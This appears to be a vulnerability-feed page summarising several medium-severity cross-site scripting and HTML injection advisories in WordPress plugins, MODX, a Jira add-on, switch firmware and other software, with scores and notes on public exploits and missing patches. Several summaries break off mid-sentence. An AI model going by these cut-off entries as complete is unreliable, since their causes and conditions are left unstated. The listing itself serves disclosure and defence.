The DethemeKit for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the De Product Display Widget (countdown feature) in all versions up to, and including, 2.1.9 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP WordPress XSS +4
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The CM FAQ - Simplify support with an intuitive FAQ management tool plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of remove_query_arg without appropriate. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in the component index.php of Rafed CMS Website v1.44 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Rafed Cms Website
NVD GitHub
EPSS 0% CVSS 6.5
MEDIUM This Month

An authenticated stored cross-site scripting (XSS) vulnerability in The Plugin People Enterprise Mail Handler for Jira Data Center (JEMH) before v4.1.69-dc allows attackers with Administrator. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Atlassian Enterprise Mail Handler
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A HTML Injection vulnerability was found in loginsystem/edit-profile.php of the PHPGurukul User Registration & Login and User Management System V3.3. Rated medium severity (CVSS 5.3), this vulnerability is low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS User Registration Login And User Management System +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability has been identified in MODX prior to 3.1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Modx
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

A stored cross-site scripting vulnerability exists in FS model S3150-8T2F switches running firmware s3150-8t2f-switch-fsos-220d_118101 and web firmware v2.2.2, which allows an authenticated web. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS S3150 8T2F Firmware Fs
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting vulnerability in PecanProject pecan through v.1.8.0 allows a remote attacker to execute arbitrary code via the crafted payload to the hostname, sitegroupid, lat, lon and sitename. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Pecan
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in Italtel S.p.A. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS I Mcs Nfv Italtel
NVD
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